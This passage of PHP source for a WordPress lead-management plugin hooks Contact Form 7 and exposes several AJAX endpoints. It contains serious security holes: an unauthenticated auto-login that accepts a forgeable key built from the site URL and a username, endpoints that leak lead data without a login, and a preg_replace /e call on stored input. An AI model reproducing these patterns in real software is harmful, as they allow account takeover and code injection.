');
/* WP cron is not reliable, so we check every chance we get */
function _59sec_check_cron()
{
// list of tasks
if (get_option('59sec_status', 'OK') == 'OK')
{
_59sec_boss_alert_cron();
_59sec_notifications_cron();
}
}
/**
* Shhh!!
*/
function _59sec_salt($x)
{
$pluginkey = md5(get_real_site_url());
$y = get_real_site_url();
$y = str_replace('http://', '', $y);
$x = str_split($x);
$y = str_split($y);
$r = '';
for ($i = 0, $n = count($x); $i < $n; $i++)
{
if (empty($y[$i]))
{
$y[$i] = ' ';
}
$r .= $x[$i].$y[$i];
}
return $pluginkey.base64_encode($r);
}
function _59sec_desalt($key)
{
$salt = substr($key, 32, strlen($key));
$salt = base64_decode($salt);
$salt = str_split($salt);
for ($i = 0, $n = count($salt); $i < $n; $i++)
{
if ($i % 2 == 0)
{
$r .= $salt[$i];
}
}
return $r;
}
/**
* Generate a clean domain.
* @used: in plugin key.
*/
function get_real_site_url()
{
$site_url = str_replace("https://", "http://", site_url());
$site_url = str_replace("//www.", "//", $site_url);
return $site_url;
}
/**
* Check for plugin status
*/
function _59sec_checkstatus()
{
$key = md5(get_real_site_url());
$url = 'https://59sec.com/licence/lc.php?key='.$key.'&domain='.get_real_site_url().'&lite=1&realdomain='.site_url();
//set 5 sec timeout
$ctx = stream_context_create(array('http'=>array('timeout' => 5)));
$response = file_get_contents($url, 0, $ctx);
if (empty($response))
{
// second try
$response = file_get_contents($url, 0, $ctx);
if (empty($response))
{
// third try
$response = file_get_contents($url, 0, $ctx);
}
}
return $response;
}
/**
* Check for requirements
*/
function _59sec_requirements()
{
global $wpdb;
// check mandatory plugin
$active = is_plugin_active('contact-form-7/wp-contact-form-7.php');
if (!$active)
{
define('_59SEC_REQUIREMENTS', false);
}
else
{
if (!class_exists('WPCF7_ContactForm') || !method_exists('WPCF7_ContactForm', 'find'))
{
define('_59SEC_REQUIREMENTS', false);
}
else
{
define('_59SEC_REQUIREMENTS', true);
}
}
// this is the perfect place to check for version changes so..
$version = get_option('59sec_version', '');
if (empty($version) || $version != _59SEC_VERSION)
{
require_once 'classes/Leads.php';
$leadsModel = new Leads($wpdb, $wpdb->prefix);
$leadsModel -> updateVersion($version);
update_option('59sec_version', _59SEC_VERSION);
}
}
/**
* Add settings link on plugins page
*/
function _59sec_settings_link($links)
{
$links[] = 'Settings';
return $links;
}
/**
* Save options
*/
function register_59sec_options()
{
// notofications
register_setting('59sec-notifications', '59sec_bosses');
// entry sources
register_setting('59sec-entry-sources', '59sec_wpcf7');
// other options
register_setting('59sec-other-options', '59sec_direct_login');
register_setting('59sec-other-options', '59sec_leadscheck');
// subscribe
register_setting('59sec-subscribe', '59sec_subscribe_mail');
}
/* Install - Uninstall */
function _59sec_install()
{
global $wpdb;
// add the leads table
$wpdb->show_errors();
require_once 'classes/Leads.php';
$leadsModel = new Leads($wpdb, $wpdb->prefix);
$sqls = $leadsModel -> constructSQL();
foreach ($sqls as $sql)
{
$wpdb->query($sql);
}
$wpdb->hide_errors();
// add live update cache
update_option('59sec_liveupdate', time());
// give admin agent rights
$args = array(
'blog_id' => $GLOBALS['blog_id'],
'role' => 'Administrator',
);
$users = (array) get_users($args);
foreach ($users as $user)
{
$user -> add_cap('agent');
}
// register plugin key
$response = _59sec_checkstatus();
if (empty($response))
{
echo 'Plugin key could not be activated!';
}
}
function _59sec_uninstall()
{
global $wpdb;
require_once 'classes/Leads.php';
$leadsModel = new Leads($wpdb, $wpdb->prefix);
$sql = $leadsModel -> destructSQL();
$wpdb->query($sql);
}
/**
* Add the page structure
*/
function _59sec_admin_menu()
{
global $current_user;
$icon_url = _59SEC_PLUGINS_URL.'images/25.png';
$cap = end(array_keys($current_user->caps));
add_object_page('Entry Sources', '59sec LITE', $cap, '59sec_entry_sources', '_59sec_load_page', $icon_url);
add_submenu_page('59sec_entry_sources', 'Leads to be answered', 'LEADS', $cap, '59sec_leads_boss', '_59sec_load_page');
add_submenu_page('59sec_entry_sources', 'CRM', 'CRM', $cap, '59sec_crm_boss', '_59sec_load_page');
add_submenu_page('59sec_entry_sources', 'Statistics', 'Statistics', $cap, '59sec_statistics_boss', '_59sec_load_page');
add_submenu_page('59sec_entry_sources', 'Entry Sources', 'Entry Sources', $cap, '59sec_entry_sources', '_59sec_load_page');
add_submenu_page('59sec_entry_sources', 'Users', 'Users', $cap, '59sec_users', '_59sec_load_page');
add_submenu_page('59sec_entry_sources', 'Notifications', 'Notifications', $cap, '59sec_notifications', '_59sec_load_page');
add_submenu_page('59sec_entry_sources', 'Other Options', 'Other Options', $cap, '59sec_other_options', '_59sec_load_page');
add_submenu_page('59sec_entry_sources', 'Help', 'Help', $cap, '59sec_help_boss', '_59sec_load_page');
add_submenu_page('59sec_entry_sources', 'Please Feedback!', 'Please Feedback!', $cap, '59sec_feedback', '_59sec_load_page');
}
/**
* Pages controller
*/
function _59sec_load_page()
{
global $plugin_page, $wpdb, $current_user;
require_once 'classes/Leads.php';
// init some common vars
$pluginkey = md5(get_real_site_url());
$leadsModel = new Leads($wpdb, $wpdb->prefix);
$leadsLink = 'LEADS|';
$crmLink = 'CRM';
$statisticsLink = 'Statistics|';
$sourcesLink = 'Entry Sources|';
$usersLink = 'Users|';
$notificationsLink = 'Notifications|';
$otherOptionsLink = 'Other Options|';
$helpLink = 'Help';
// add css file
wp_enqueue_style('_59sec', plugins_url('/css/style.css', __FILE__), array(), _59SEC_VERSION);
// add the script
wp_enqueue_script('_59sec', plugins_url('/js/script.js', __FILE__), array(), _59SEC_VERSION, true);
if (!_59SEC_REQUIREMENTS)
{
$plugin_page = 'warning';
}
// add subscribe message
require_once "templates/59sec_subscribe.php";
// get the data
switch($plugin_page)
{
case '59sec_entry_sources':
if (!empty($_POST))
{
update_option('59sec_wpcf7', $_POST['59sec_wpcf7']);
}
$args = array(
'posts_per_page' => -1,
'orderby' => 'title',
'order' => 'ASC',
'offset' => 0,
);
$items = WPCF7_ContactForm::find($args);
$forms = (array) get_option('59sec_wpcf7');
break;
case '59sec_notifications':
$args = array(
'blog_id' => $GLOBALS['blog_id'],
'orderby' => 'login',
'order' => 'ASC',
'count_total' => false,
);
$users = get_users($args);
foreach ($users as $user)
{
$bosses[] = $user->data->user_email;
}
update_option('59sec_bosses', $bosses);
$bosses = get_option('59sec_bosses');
break;
case '59sec_leads_boss':
$isBoss = true;
$args = array(
'posts_per_page' => -1,
'orderby' => 'title',
'order' => 'ASC',
'offset' => 0,
);
$items = WPCF7_ContactForm::find($args);
$forms = get_option('59sec_wpcf7');
$leadscheck = get_option('59sec_leadscheck', 3);
require_once 'classes/Leads.php';
$lastCheck = get_option('59sec_liveupdate', time());
break;
case '59sec_statistics_boss':
$args = array(
'blog_id' => $GLOBALS['blog_id'],
'orderby' => 'login',
'order' => 'ASC',
'count_total' => false,
);
$users = get_users($args);
require_once 'classes/Leads.php';
break;
case '59sec_users':
$args = array(
'blog_id' => $GLOBALS['blog_id'],
'orderby' => 'login',
'order' => 'ASC',
'count_total' => false,
'fields' => 'all_with_meta',
);
$users = get_users($args);
break;
case '59sec_crm_boss':
$user_id = 0;
$keyword = '';
$args = array(
'posts_per_page' => -1,
'orderby' => 'title',
'order' => 'ASC',
'offset' => 0,
);
$items = WPCF7_ContactForm::find($args);
$forms = get_option('59sec_wpcf7');
require_once 'classes/Leads.php';
if (!empty($_POST))
{
$leadsModel -> update(array(
'user_comments' => $_POST['note'],
), $_POST['id']);
}
break;
case '59sec_other_options':
if (!empty($_POST))
{
update_option('59sec_direct_login', $_POST['59sec_direct_login']);
update_option('59sec_leadscheck', $_POST['59sec_leadscheck']);
}
$direct_login = get_option('59sec_direct_login', 1) * 1;
$leadscheck = get_option('59sec_leadscheck', 3);
break;
}
// the view
require_once "templates/{$plugin_page}.php";
}
/**
* Send bosses email alert if 600 sec have passed
*/
function _59sec_boss_alert_cron()
{
global $wpdb;
require_once 'classes/Leads.php';
$leadsModel = new Leads($wpdb, $wpdb->prefix);
// get bosses
$users = get_option('59sec_bosses', array());
if (empty($users))
{
$args = array(
'blog_id' => $GLOBALS['blog_id'],
'orderby' => 'login',
'order' => 'ASC',
'count_total' => false,
'role' => 'administrator',
);
$bosses = get_users($args);
foreach ($users as $user)
{
$users[] = $user->data->user_email;
}
update_option('59sec_bosses', $users);
}
// send first boss alert
$bossalert = 600;
$leads = $leadsModel -> getBossAlertLeads($bossalert);
if (!empty($leads))
{
$message = "
Dear 59sec power user
You are losing money because you/your team did not grab this lead fast enough:
";
foreach ($leads as $lead)
{
$message .= $leadsModel -> leadAsMail($lead);
// do not send mail twice
$leadsModel -> bossAlerted($lead);
}
$message .= "
Remember!
Answering a lead in 5 minutes increase the likelihood to close the sale 21 times more than answering in 30 minutes. (source: MIT and Kellogg study)
Good luck :)
59sec Team
go@59sec.com
https://www.59sec.com
";
foreach ($users as $boss)
{
wp_mail($boss, 'Lead Expired! You are losing money!', $message, array(_59SEC_HEADRES_FROM));
}
}
// run only once a day
$boss_daily_cron = intval(get_option('59sec_boss_daily_cron', 0));
if (empty($boss_daily_cron) || $boss_daily_cron < time())
{
// send daily boss alerts
$leads = $leadsModel -> getBossDailyAlerts();
if (!empty($leads))
{
$total = count($leads);
$message = "Dear owner,\n\nYesterday you had {$total} leads unanswered. This means wasted opportunities. Please make sure that your agents are grabbing the leads using 59sec as soon as possible. We love when you make money :)\n\n";
foreach ($leads as $lead)
{
$message .= $leadsModel -> leadAsMail($lead);
}
$message .= "
Thank you
59sec Team
go@59sec.com
https://www.59sec.com";
foreach ($users as $boss)
{
wp_mail($boss, 'Wasted leads from yesterday @ '.site_url(), $message, array(_59SEC_HEADRES_FROM));
}
}
// run only once a day
update_option('59sec_boss_daily_cron', time() + 86400);
}
}
/**
* Resend notifications 3 times 10 min apart
*/
function _59sec_notifications_cron()
{
global $wpdb;
require_once 'classes/Leads.php';
$leadsModel = new Leads($wpdb, $wpdb->prefix);
// did 20 min pass?
$leads = $leadsModel -> getNotificationCronLeads20();
if (!empty($leads))
{
$sound = 'cashregister3.aif';
foreach ($leads as $lead)
{
include _59SEC_INCLUDE_PATH.'/simplepush.php';
}
}
// did just 10 min pass?
$leads = $leadsModel -> getNotificationCronLeads10();
if (!empty($leads))
{
$sound = 'cashregister2.aif';
foreach ($leads as $lead)
{
include _59SEC_INCLUDE_PATH.'/simplepush.php';
}
}
}
/* Hook into wpcf7 */
function hook_wpcf7($cf7)
{
global $wpdb;
$wpcf7_options = (array) get_option('59sec_wpcf7');
// is user selected contact form
if (in_array($cf7->id, $wpcf7_options))
{
require_once 'classes/Leads.php';
$leadsModel = new Leads($wpdb, $wpdb->prefix);
if ($leadsModel -> isLimitReached())
{
return;
}
$postdata = array();
if (isset($cf7->posted_data))
{
$source = $cf7->posted_data;
}
else
{
$submission = WPCF7_Submission::get_instance();
$source = $submission->get_posted_data();
}
foreach ($source as $key => $value)
{
if (substr($key, 0, 3) != '_wp' && substr($key, 0, 7) != 'captcha')
{
if (is_array($value))
{
$value = implode(', ', $value);
}
$postdata[$key] = $value;
}
}
$postdata['ip'] = $leadsModel -> getIP();
$lead = array(
'type' => 'form',
'entity_id' => $cf7->id,
'subject' => $cf7->title,
'status' => 1,
'created_time' => time(),
'postdata' => serialize($postdata),
);
$lead['id'] = $leadsModel -> add($lead);
// update timestamp for liveupdate
update_option('59sec_liveupdate', time());
// send notification emails
$emails = (array) get_option('59sec_emails');
$message = $leadsModel -> leadAsMail($lead);
foreach ($emails as $email)
{
wp_mail($email, 'Agent Notification', $message, array(_59SEC_HEADRES_FROM));
}
// send device notification
include_once _59SEC_INCLUDE_PATH.'/simplepush.php';
}// IF
}
/* Grab the lead ! */
function _59sec_grabit()
{
global $wpdb, $current_user;
require_once 'classes/Leads.php';
$leadsModel = new Leads($wpdb, $wpdb->prefix);
$lead = $leadsModel->get($_POST['id']);
if (!empty($lead))
{
if (empty($lead['user_id']))
{
$result = $leadsModel -> update(array(
'user_id' => $current_user -> ID,
'user_name' => $current_user -> data -> display_name,
'reserved_time' => time(),
), $_POST['id']);
update_option('59sec_liveupdate', time());
}
else
{
echo 'Lead taken by '.$lead['user_name'];
update_option('59sec_liveupdate', time());
}
}
else
{
echo 'Error: missing data!';
}
die();
}
/**
* try to fix a broken serialize
*/
function _59sec_tryfix()
{
global $wpdb;
require_once 'classes/Leads.php';
$leadsModel = new Leads($wpdb, $wpdb->prefix);
$lead = $leadsModel->get($_POST['id']);
if (!empty($lead) && !empty($lead['postdata']))
{
$data = unserialize($lead['postdata']);
if (!is_array($data))
{
// ending intrerupted ?
$strlen = strlen($lead['postdata']);
if (substr ($lead['postdata'], $strlen - 3, 3) != '";}')
{
$lead['postdata'] = $lead['postdata'] . '";}';
}
// fix string lengths not coresponding
$lead['postdata'] = html_entity_decode($lead['postdata'], ENT_QUOTES, 'UTF-8');
$lead['postdata'] = preg_replace('!s:(\d+):"(.*?)";!e', "'s:'.strlen('$2').':\"$2\";'", $lead['postdata']);
$lead['postdata'] = $leadsModel -> repairSerializedArray($lead['postdata']);
if (is_array($lead['postdata']))
{
$lead['postdata'] = serialize($lead['postdata']);
}
// update the lead
$leadsModel -> update($lead, $_POST['id']);
}
}
else
{
echo 'Error: missing data!';
}
die();
}
/* Edit CRM Note */
function _59sec_edit_note()
{
global $wpdb;
require_once 'classes/Leads.php';
$leadsModel = new Leads($wpdb, $wpdb->prefix);
$lead = $leadsModel -> get($_POST['id']);
if (!empty($lead))
{
echo $lead['user_comments'];
}
die();
}
/* CRM ajax paging */
function _59sec_crm_page()
{
global $wpdb, $current_user;
require_once 'classes/Leads.php';
$leadsModel = new Leads($wpdb, $wpdb->prefix);
$item = new stdClass();
$item -> id = intval($_POST['item']);
$page = intval($_POST['page']);
$filters = array('flag' => 0);
$keyword = '';
if (isset($_POST['status']) && !empty($_POST['status']))
{
$filters['status'] = $_POST['status'];
}
if (isset($_POST['keyword']) && !empty($_POST['keyword']))
{
$filters['keyword'] = $_POST['keyword'];
$keyword = $_POST['keyword'];
}
$user_id = 0;
$leads = $leadsModel -> getUserLeads($item->id, $user_id, $page, $filters);
$headers = $leadsModel -> tableHeaders($leads);
$paging = $leadsModel -> pagerUserLeads($item->id, $user_id, $page, $filters);
include _59SEC_INCLUDE_PATH . '/templates/crm_table.php';
die();
}
/* Change the status of the lead */
function change_lead_status()
{
global $wpdb, $current_user;
require_once 'classes/Leads.php';
$leadsModel = new Leads($wpdb, $wpdb->prefix);
$lead = $leadsModel -> get($_POST['id']);
if (!empty($lead))
{
$leadsModel -> update(array('status' => $_POST['status']), $_POST['id']);
// additional action
if ($_POST['status'] == 'finalized' || $_POST['status'] == 'finalized')
{
$leadsModel -> update(array('completed_time' => time()), $_POST['id']);
}
}
die();
}
/* Save app tokens */
function _59sec_save_tokens()
{
global $wpdb;
if(
isset($_POST['device_token']) &&
!empty($_POST['device_token'])
)
{
require_once 'classes/Leads.php';
$leadsModel = new Leads($wpdb, $wpdb->prefix);
$leadsModel -> saveAppToken($_POST);
echo 'success';
}
die();
}
/* Delete app tokens */
function _59sec_delete_tokens()
{
global $wpdb;
if(
isset($_POST['device_token']) &&
!empty($_POST['device_token'])
)
{
require_once 'classes/Leads.php';
$leadsModel = new Leads($wpdb, $wpdb->prefix);
$leadsModel -> deleteAppToken($_POST);
echo 'success';
}
die();
}
function _59sec_login_redirect($redirect_to, $request, $user)
{
if (isset($user->roles) && is_array($user->roles))
{
$direct_login = get_option('59sec_direct_login', 1) * 1;
if (empty($direct_login))
{
return admin_url();
}
return admin_url() . 'admin.php?page=59sec_leads_boss';
}
else
{
return site_url();
}
}
/**
* get total unaswered leds and provide to the public
*/
function _59sec_unaswered()
{
global $wpdb;
if(
isset($_POST['device_token']) &&
!empty($_POST['device_token'])
)
{
require_once 'classes/Leads.php';
$leadsModel = new Leads($wpdb, $wpdb->prefix);
echo $leadsModel -> getTotalUnansweredLeads();
}
die();
}
/**
* Leads for devices
*/
function _59sec_leads()
{
Global $wpdb;
$response = array();
$key = @$_POST['key'];
$user_login = _59sec_desalt($key);
$key = substr($key, 0, 32);
$pluginkey = md5(get_real_site_url());
if ($key != $pluginkey)
{
echo json_encode($response);
die();
}
$user = get_user_by('login', $user_login);
if (empty($user))
{
echo json_encode($response);
die();
}
$args = array(
'posts_per_page' => -1,
'orderby' => 'title',
'order' => 'ASC',
'offset' => 0,
);
$items = (_59SEC_REQUIREMENTS) ? WPCF7_ContactForm::find($args) : array();
$forms = (array) get_option('59sec_wpcf7');
require_once 'classes/Leads.php';
$leadsModel = new Leads($wpdb, $wpdb->prefix);
// contact form 7
foreach ($items as $item)
{
if (!empty($forms) && in_array($item->id, $forms))
{
$leads = $leadsModel->getNewLeads($item->id);
if (!empty($leads))
{
$response[$item->title] = array();
$headers = $leadsModel->tableHeaders($leads);
foreach($leads as $key => $lead)
{
$data = unserialize($lead['postdata']);
if (!empty($data))
{
foreach($headers as $index)
{
if (is_array($data[$index]))
{
$data[$index] = implode(', ', $data[$index]);
}
$data[$index] = strip_tags($data[$index]);
$data[$index] = str_replace(array("\n", "\r", "\t"), '', $data[$index]);
$data[$index] = trim($data[$index]);
}
$data['TIME PASSED'] = $lead['created_time'];
$data['grab_it_button'] = 'True';
$response[$item->title][$lead['id']] = $data;
}
}
}
}
}
echo json_encode($response);
die();
}
/**
* Device grab lead
*/
function _59sec_grab()
{
global $wpdb;
$key = @$_POST['key'];
$id = @$_POST['id'];
$response = new stdClass();
$response -> status = 'error';
$response -> title = 'Error';
$response -> message = '';
// check if key is valid
$user_login = _59sec_desalt($key);
$key = substr($key, 0, 32);
if(!empty($key) && !empty($user_login))
{
$pluginkey = md5(get_real_site_url());
if ($key == $pluginkey)
{
$user = get_user_by('login', $user_login);
if (empty($user))
{
$response -> message = 'Invalid key';
echo json_encode($response);
exit;
}
// grab the lead
require_once 'classes/Leads.php';
$leadsModel = new Leads($wpdb, $wpdb->prefix);
$lead = $leadsModel->get($id);
if (!empty($lead))
{
if (empty($lead['user_id']))
{
$result = $leadsModel -> update(array(
'user_id' => $user -> ID,
'user_name' => $user -> data -> display_name,
'reserved_time' => time(),
), $id);
$response -> status = 'success';
$response -> title = "Success, {$user -> data -> display_name}!";
$response -> message = 'Next: call the lead NOW!';
echo json_encode($response);
update_option('59sec_liveupdate', time());
}
else
{
$response -> message = 'Lead grabbed by '.$lead['user_name'];
echo json_encode($response);
}
}
else
{
$response -> message = 'Missing data!';
echo json_encode($response);
}
}
else
{
$response -> message = 'Invalid key';
echo json_encode($response);
}
exit;
}
die();
}
/**
* create url to log in user programmatically
*/
function _59sec_autologin()
{
global $wpdb, $current_user;
$base_root = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') ? 'https://' : 'http://';
$fromDomain = str_replace($base_root, '', $_SERVER['HTTP_HOST']);
$fromDomain = $base_root.$_SERVER['HTTP_HOST'];
//account for subfolders
$base = pathinfo($_SERVER["REQUEST_URI"]);
$base = $base['dirname'];
$base = str_replace('/wp-admin', '', $base);
$request = str_replace($base, '', $_SERVER['REQUEST_URI']);
$fromDomain = $fromDomain.$base;
if ($fromDomain != site_url())
{
// a altered domain can break cookies so correct it
wp_redirect(site_url().$request);
exit;
}
if (is_user_logged_in())
{
wp_redirect(_59sec_autologin_redirect());
exit;
}
$key = @$_POST['key'];
$user_login = _59sec_desalt($key);
$key = substr($key, 0, 32);
if(!empty($key) && !empty($user_login))
{
$pluginkey = md5(get_real_site_url());
if ($key == $pluginkey)
{
$user = get_user_by('login', $user_login);
wp_set_current_user($user -> ID, $user -> user_login);
wp_set_auth_cookie($user -> ID);
wp_redirect(_59sec_autologin_redirect());
}
else
{
echo 'Invalid key';
}
exit;
}
die();
}
function _59sec_autologin_redirect()
{
global $current_user;
$id = @$_POST['id'];
$id = intval($id);
if (in_array('administrator', $current_user->roles))
{
return admin_url() . 'admin.php?page=59sec_crm_boss&lead='.$id;
}
elseif ($current_user->has_cap('agent'))
{
return admin_url() . 'admin.php?page=59sec_crm&lead='.$id;
}
else
{
return admin_url();
}
}
function _59sec_liveupdate()
{
global $wpdb;
$lastcheck = $_POST['lastcheck'];
$check = get_option('59sec_liveupdate', time());
$newEmails = false;
if ($check > $lastcheck)
{
require_once 'classes/Leads.php';
$leadsModel = new Leads($wpdb, $wpdb->prefix);
$newEmails = $leadsModel->checkForNewLeads($lastcheck)>0;
// get the data
$args = array(
'posts_per_page' => -1,
'orderby' => 'title',
'order' => 'ASC',
'offset' => 0,
);
$items = (_59SEC_REQUIREMENTS) ? WPCF7_ContactForm::find($args) : array();
$forms = (array) get_option('59sec_wpcf7');
$lastCheck = $check;
// the view
include 'templates/leads_tables.php';
}
die();
}
/* Add actions & filters */
// actions
add_action('wpcf7_before_send_mail', 'hook_wpcf7');
add_action('wp_ajax_59sec_delete_tokens', '_59sec_delete_tokens');
add_action('wp_ajax_nopriv_59sec_delete_tokens', '_59sec_delete_tokens');
add_action('wp_ajax_59sec_save_tokens', '_59sec_save_tokens');
add_action('wp_ajax_nopriv_59sec_save_tokens', '_59sec_save_tokens');
add_action('wp_ajax_59sec_leads', '_59sec_leads');
add_action('wp_ajax_nopriv_59sec_leads', '_59sec_leads');
add_action('wp_ajax_59sec_grab', '_59sec_grab');
add_action('wp_ajax_nopriv_59sec_grab', '_59sec_grab');
add_action('wp_ajax_59sec_autologin', '_59sec_autologin');
add_action('wp_ajax_nopriv_59sec_autologin', '_59sec_autologin');
add_action('wp_ajax_59sec_cron', '_59sec_check_cron');
add_action('wp_ajax_nopriv_59sec_cron', '_59sec_check_cron');
add_action('wp_ajax_59sec_unaswered', '_59sec_unaswered');
add_action('wp_ajax_nopriv_59sec_unaswered', '_59sec_unaswered');
//filters
add_filter('login_redirect', '_59sec_login_redirect', 10, 3);
if (is_admin())
{
// actions
add_action('admin_init', '_59sec_requirements');
add_action('admin_init', 'register_59sec_options');
add_action('admin_menu', '_59sec_admin_menu');
add_action('wp_ajax_liveupdate', '_59sec_liveupdate');
add_action('wp_ajax_tryfix', '_59sec_tryfix');
add_action('wp_ajax_grapit', '_59sec_grabit');
add_action('wp_ajax_edit_note', '_59sec_edit_note');
add_action('wp_ajax_crm_page', '_59sec_crm_page');
add_action('wp_ajax_change_lead_status', 'change_lead_status');
// filters
add_filter('plugin_action_links_'.plugin_basename(__FILE__), '_59sec_settings_link');
// hooks
register_activation_hook(__FILE__, '_59sec_install');
register_deactivation_hook( __FILE__, '_59sec_uninstall');
}